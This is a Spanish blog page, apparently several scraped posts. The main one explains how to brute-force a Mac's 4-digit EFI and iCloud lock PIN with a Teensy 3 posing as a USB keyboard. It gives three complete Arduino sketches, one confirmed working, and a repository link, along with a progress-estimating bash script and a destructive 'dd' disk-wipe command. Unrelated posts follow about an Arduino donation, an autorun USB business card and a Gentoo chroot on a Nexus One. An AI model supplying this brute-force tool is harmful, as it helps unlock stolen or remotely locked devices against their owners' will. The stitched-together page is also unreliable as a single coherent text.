Recientemente escribí sobre como llevar a cabo un ataque de fuerza bruta contra el bloqueo del EFI de una Mac y aunque al principio no logre lo que quería fue solo cuestión de horas para que alguien revisara mi código y se diera cuenta del bug que lo afectaba. Hoy en día el código funcional al 100% y ya se han desbloqueado varias Mac usando este procedimiento.

Cuando una computadora Apple es bloqueada remotamente desde un dispositivo iOS esta recibe un PIN numérico de 4 dígitos a través del iCloud. El bloqueo es tanto a nivel de OS como de EFI (su BIOS). El articulo que comentaba anterior mente se enfoca en el bloqueo del EFI mientras que este se enfocara en el del OS también conocido como PIN de iCloud.

A la Izquierda (Logo de Apple)  se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI

A la Izquierda (Logo de Apple) se puede ver la pantalla de iCloud y a la derecha (con el Candado) la del EFI.

Tras un poco de ensayo y error y con ayuda de la comunidad de MacRumors logre modificar el Sketch de la Teensy 3 para que pudiese atacar PIN del iCloud, aquí les dejo el código:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;

//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
  digitalWrite(ledPin, LOW);
}

void loop(){
  keyboard_modifier_keys = 0;
  //lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay(61000);
    firstcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((firstloop < 5) && (firstcompleted == false)){
    digitalWrite(ledPin, HIGH);
    ++firstloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
    delay(301000);
    secondloop = 0;
    secondcompleted = true;
    digitalWrite(ledPin, LOW);
  }
  else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
    ++secondloop;
    digitalWrite(ledPin, LOW);
  }
  //lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted == true)){
    delay(901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
    digitalWrite(ledPin, LOW);
  }
  else if ((thirdloop < 1) && (secondcompleted == true)){
    ++thirdloop;
    digitalWrite(ledPin, LOW);
  }
  //lets get to work
  if (counter <= 9999){
    delay(100503);
    digitalWrite(ledPin, LOW);
    delay(7049);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(405);
    Keyboard.release(KEY_ENTER);
    digitalWrite(ledPin, LOW);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Un miembro de la comunidad de MacRumors hizo una versión mas simple y elegante de este que lo pueden ver aquí: How to: Unlock System Lock PIN Code.

Supongo que con un botón y poca modificación del código se podrían tener las dos lógicas dentro de un Teensy para atacar ambos bloqueos sin necesidad de programarlo.

Actualizado: El código ya fue revisado y esta funcionando, Un usuario me confirmo que lo implemento en su Teensy 3 y le funciono sin problemas, Si lo que deseas es leer el código que funciona sin la historia detrás de este, solo has click aquí.

Teensy v3 usada para el ataque al EFI PIN

Dicen que de los errores se aprende así que quiero compartir este con ustedes para que se les haga mas fácil.



Un poco de historia en este caso.

Recientemente me llego una MacBook Pro que tras tres semanas de haber sido comprada el vendedor se arrepintió del negocio y decidió bloquearla con una pantalla que decía "devuelveme la laptop y te devuelvo el dinero", justo debajo de este mensaje aparecía un candado y cuatro campos que aceptaban solo caracteres numéricos.

Tanto al comprador como a mi nos pareció de mal gusto el gesto que tuvo el vendedor sobretodo cuando este pidió que se le pagara en efectivo. Así se veía justo después de prender la MacBook pro pero antes de formatear:

Captura de pantalla bloqueada por el iCloud PIN de OSX


Manos a la obra.

Como no conocía que intenciones o de lo que era capaz el vendedor decidí formatear el disco a bajo nivel, lo monte en otra maquina y le hice `dd if=/dev/random of=/dev/sdd` como por unos 30 minutos, detuve el proceso y volví a armar la MBP.

Mi sorpresa fue que al querer iniciar desde el disco de OSX para iniciar la re-instalación me salió otra pantalla donde pedía un password, esta vez no tenia limite de caracteres pero seguía siendo numérico. Investigando un poco me di cuenta que los procesos de NVRAM no funcionarían pues esta MBP era muy nueva aunque de todas formas lo intente y corrobore mi teoría.

En algunos foros sugerían que se intente cada combinación manualmente y que algunos les había tomado un par de semanas en sus ratos libres, suena bien, verdad? Pero y si el PIN es el ultimo que intento, cuanto tiempo me tomaría? y si me salto por equivocación algún numero?



Tengo 10.000 problemas pero automatizar un ataque de fuerza bruta al EFI de una Mac no es uno de ellos.

Sabiendo lo disléxico que soy y lo mucho que prefiero caminar por la playa y compartir con mi familia decidir automatizar este proceso. La lógica es simple, un contador del 0 al 9999 que siempre le de formato a la salida en forma de 4 dígitos, no es cosa del otro mundo.

Que hardware puedo usar? que módulos del kernel en Linux tengo que cargar para enviar la data desde una maquina a otra como si fuese un teclado? así se inicia mi búsqueda y mi pronta realización de que necesitaría un hardware especializado para esto.

La mayoría de nuestras computadoras son incapaces de hacer que su controladora USB se identifique como un HID (dispositivo de interfaz humana por sus siglas en ingles) por lo que no podría hacer esto desde mi computadora usando BASH o Python.

Un dispositivo que podría funcionar es una Arduino pero no sin antes armar un shield y el costo de este shield (ya teniendo el breadboard o un protoshield) es de aproximadamente unos $24 sin incluir el envió y los impuestos. La alternativa es el Teensy que con envió e impuesto me costo poco menos de $23.

El Teensy 3 termino siendo el hardware mas efectivo para esta tarea, me hubiese gustado construir el shield requerido para el Arduino pero sin mucho tiempo libre que se diga este no era opción.

Ordene el Teensy 3 por sugerencia de Paul Stoffregen, el me comentaba que la versión 3 (la mas reciente) funcionaba con 3 voltios a diferencia de los anteriores que funcionaban con 5 voltios y que la industria se estaba moviendo hacia dispositivos de 3 voltios por lo que los de 5 voltios quedarían obsoletos pronto.



El código y el ataque

Dos días después de que lo compre ya estaba en en casa y a los pocos minutos ya lo tenia corriendo una version mas simple del codigo final. Esta versión funcionaba sin problemas sobre un editor de texto plano, el detalle esta en que al intentar contra la MacBook Pro de apple no funcionaba, en ocasiones enviaba una tecla, otras enviaba 2 pero parecía nunca enviar el "enter".

Al día siguiente con la mente mas fresca y no después de un turno de 12 horas de trabajo me dispuse a atacar el problema. Alguien en Apple se gasto su tiempo para hacer esta forma de ataque lo mas difícil posible para una maquina pero a la vez lo mas amigable para un humano así que me dispuse a imitar un humano y luego de varios intentos termine con esta versión del código:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

Como pueden ver evito enviar los cuatro dígitos juntos y asigno distintos valores para esperar entre los eventos de presionar la tecla y soltarla así como también la espera entre dígito y dígito. Luego de unos minutos de prueba note que la MBP había incrementado el tiempo de espera entre intento e intento así que decidí asignar un valor mas alto desde el inicio.

Como no le instale una pantalla para ver por cual numero iba, decidí hacer un script el cual corro desde mi maquina con Fedora 18 que da un aproximado de que combinación esta usando ahora para el ataque. El script es simple y uso la sumatoria de los mili-segundos que estoy pasándole a delay() y el mismo valor mas un segundo, asumiendo que mi tiempo de reacción al iniciar el script es mas lento o que el ejecutar el resto de las instrucciones introduzca alguna demora. Este es el script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

Así se vería en ejecución en mi monitor, use el tamaño de fuentes grandes para poderlo ver desde lejos sin forzar la vista.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Buenas noticias, Malas noticias.

Lo bueno de automatizar este proceso es que tan solo me tomo cuarenta y ocho horas en enviar las diez mil combinaciones, sin olvidar ninguna y sin repetir ninguna, muchísimo menos que las tres o mas semanas que me hubiese demorado en hacerlo manualmente.

En general estoy contento, no gaste mas de 30 minutos en total programando en un lenguaje con el que no tengo practica y la Teensy funciono sin problemas.

Las malas noticias es que recorrí dos veces todas las combinaciones y no logre entrar. Al parecer al uno cambiar el disco duro, el EFI genera un nuevo password aleatorio de 6 caracteres numéricos o mas lo que en el mejor de los casos me tomaría mínimo 197 días continuos.

Usando un poco de información del vendedor me hubiese gustando intentar distintas combinaciones de su numero de teléfono, fecha de cumpleaños, etc.. pero sin muchos detalles se me es imposible esta opción.

El error estuvo en formatear el disco asumiendo que la restricción estaría solo allí, teniendo hoy en día el disco duro pudiese intentar el ataque de fuerza bruta usando el Teensy al sistema operativo. Mi consejo al comprador fue llevara a corte al vendedor o hablar en una tienda de Apple a ver que respuesta le dan aunque no espero que sea positiva.

Aquí les dejo un vídeo del ataque:



Alternativas un poco mas extremas.

En una conversión con un australiano que es especialista en pentesting macs y atacando el EFI me dice que si consigo una MBP del mismo modelo y le extraigo su firmware pudiese subírselo a la que esta bloqueada usando un programador PIC también me aseguro que el sabe la forma de arrancarla atacando el puerto del thunderbolt pero que desafortunadamente no podía comentar sobre el tema.

Pueden revisar los temas referentes a EFI en su blog via ho.ax y en especial les recomiendo esta presentación para los que tienen curiosidad sobre su trabajo http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: Un bug en el código

Recientemente este articulo fue reseñado en hackaday y varios foros lo que trajo como consecuencia que mas gente revisara mi código y se percataran de un error en este (¿ven la importancia del Código Abierto?).

En las primeras lineas de código estoy enviando pin[1] dos veces y en ningún momento estoy enviando pin[0]. acabo de corregir el código y lo probé en un documento de texto plano, hasta ahora todo parece estar bien, el nuevo código es:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

La versión actualizada de este sketch para Teensyduio siempre estará en https://github.com/orvtech/efi-bruteforce Yo voy a tratar de mantener también esta pagina al día.

Siéntanse libres de clonarlo, hacer forks y contribuir.

Voy a contactar al dueño del laptop a ver si me la puede enviar de nuevo y comenzar el ataque de nuevo, de esto no ser posible me gustaría escuchar sugerencias de como probarlo.

- Martes 12 de Marzo: Ya he recibido confirmaciones de que este código esta funcionando, Como lo pueden ver en este post de MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto

Tal como lo dice el titulo, sin preámbulos. Alguien me podría donar esa arduino? tengo tiempo buscando un juguete y creo que ese es el apropiado. Quien quita que pueda poner a correr orvtech.com y linuxevolution.org en un miniclusters de arduinos.

[caption id="attachment_167" align="aligncenter" width="473" caption="Make esta vendiendo este combo por un monto muy barato"]La Arduino One y un libro instructivo[/caption]

Links:

UPDATE: Debido a mi ultimo inconveniente con paypal, no puedo recibir donaciones monetarias por esa vía. Cualquier ayuda, colaboración es bienvenida. Puedes colaborar haciendo click en mis patrocinantes o donar el monto que quieras a travez de google checkout.

$  

Luego de cuatro años trabajando en una multi-nacional como un consultor de IT a nivel de software para negocios (banca, Seguros, servicios...), Ramiro Pareja decidió ya era momento de cambiar de profesión y orientarse hacia la Ingeniería Electrónica.

[gallery link="file" order="DESC"]

El escenario es difícil, las agencias de empleo reciben cientos de currículum al día de gente que esta aplicando para la misma posición. Con esta avalancha de resumes es imposible que hagan un análisis de todos los candidatos y por ende el primer filtro es la presentación. Si tu currículum no causa una buena impresión es automáticamente descartado y el próximo currículum sera analizado. Es aquí cuando Ramiro decide diseñar su propia tarjeta de presentación para adjuntarlas a su currículum.

Esta tarjeta para poder ser llamativa debe cumplir con los siguientes requerimientos:

  • Tener su información de contacto (gracias Capitán Obvio!).
  • Mostrar profesionalismo.
  • Servir de ejemplo de sus cualidades de ingeniero.
  • Servir para algo mas que una tarjeta de presentación, de esta forma previene que sea descartada en la primera oportunidad.

La Tarjeta.

De entrada queda descartada la idea de usar Open RFID por que pocos reclutadores sabe de esta tecnologia o tienen un lector para RFID Tags. Lo mas comun seria usar algo estilo USB.

Una tarjeta del tamaño de una tarjeta de crédito (85.6 × 54 mm, pero mas gruesa) con dos esquinas perforadas y espacio suficiente para abrir una 'ventana' en el medio y meter un micro controlador soldado. Con la información de contacto impresa en el frente de la tarjeta y las esquinas que fueron perforadas pueden estas pueden ser arrancadas de forma fácil dejando un conector USB para que lo conecten a la computadora directamente.

La tajerta es reconocida como un dispositivo de almacenamiento automaticamente ejecuta un autorun.inf con su currículum, carta de presentación, portafolio y website además de cualquier otro documento.

Características Técnicas.

  • Micro-crontrolador PIC 24FJ64GB002 @ 32 MHz (16 MIPS).
  • 64 KB de flash y 8KB de RAM que puede ser aumentado a 32MB a tra vez de un I2C memory.
  • Hasta 11 I/Os digitales disponibles con cuatro de ellos tolerables a 5 voltios.
  • Hasta 4 canales analógicos.
  • Un puerto ICSP para depuración y programasion. los tres pines del ICSP también pueden ser usados como un GP de I/Os.

Al parecer [joelinux] ha logrado hacer chroot de un stage3 en el Nexus one. [joelinux] solo siguio las instrucciones de xda-developers solo que uso el stage3 de gentoo para ARM.

Aun tiene muchos bugs pequeños pero funciona, se pueden compilar paquetes incluyendo el kernel lo que es una gran ayuda para desarrollar y portear mas paquetes para el Nexus One.